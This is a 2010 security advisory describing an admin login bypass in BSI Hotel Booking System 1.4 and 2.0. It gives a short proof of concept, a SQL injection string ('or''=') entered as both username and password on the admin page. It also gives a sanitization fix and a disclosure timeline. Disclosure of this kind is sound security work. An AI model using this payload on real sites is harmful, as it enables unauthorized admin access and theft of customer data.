64 lines
No EOL
2.4 KiB
Text
64 lines
No EOL
2.4 KiB
Text
-----------------------------------------------------------------------------------------
|
|
[ECHO_ADV_113$2010] BSI Hotel Booking System Admin Login Bypass Vulnerability
|
|
-----------------------------------------------------------------------------------------
|
|
|
|
Author : K-159
|
|
Date : September, 22th 2010
|
|
Location : Jakarta, Indonesia
|
|
Web : http://e-rdc.org/v1/news.php?readmore=165
|
|
Critical Lvl : Moderate
|
|
Impact : Exposure of sensitive information
|
|
Where : From Remote
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Affected application description:
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
Application : BSI Hotel Booking System
|
|
URL : http://www.bestsoftinc.com/
|
|
Version : BSI Hotel Booking System 1.4 & BSI Advance Hotel Booking System 2.0
|
|
Description :
|
|
|
|
BSI Hotel Booking System is a real time online hotel booking. BSI Hotel booking script is single hotel version.
|
|
You can add unlimited room, room type & yearly booking schedule.
|
|
--------------------------------------------------------------------------
|
|
|
|
Vulnerability:
|
|
~~~~~~~~~~~~~~
|
|
A vulnerability has been identified in "BSI Hotel Booking System", which could be exploited by attackers to bypass security restrictions into admin panel.
|
|
The vulnerability is caused due to an error within the authentication process in admin panel login page,
|
|
which could be exploited by a malicious attackers and login into "BSI Hotel Booking System" as an admin.
|
|
Successful exploitations allows attacker to access into administrative functions without requiring knowledge of the password.
|
|
An attackers while login as admin, may expose any sensitive information about the customers like : customer name, address, email, payment methods & details,etc.
|
|
|
|
Poc/Exploit:
|
|
~~~~~~~~~
|
|
http://www.example.com/[path]/admin
|
|
|
|
username : 'or''='
|
|
password : 'or''='
|
|
|
|
Solution:
|
|
~~~~~~~
|
|
Edit the source code to ensure that input is properly sanitized
|
|
|
|
Timeline:
|
|
~~~~~~~~~
|
|
|
|
- 26 - 05 - 2010 bug found
|
|
- 16 - 09 - 2010 vendor contacted and response
|
|
- 22 - 09 - 2010 advisory release
|
|
---------------------------------------------------------------------------
|
|
|
|
Shoutz:
|
|
~~~~~
|
|
"Happy Anniversary 7th ECHO"
|
|
---------------------------------------------------------------------------
|
|
Contact:
|
|
~~~~~~
|
|
|
|
K-159 || echo|staff || adv[at]e-rdc[dot]org
|
|
Homepage: http://www.e-rdc.org/
|
|
|
|
-------------------------------- [ EOF ] ---------------------------------- |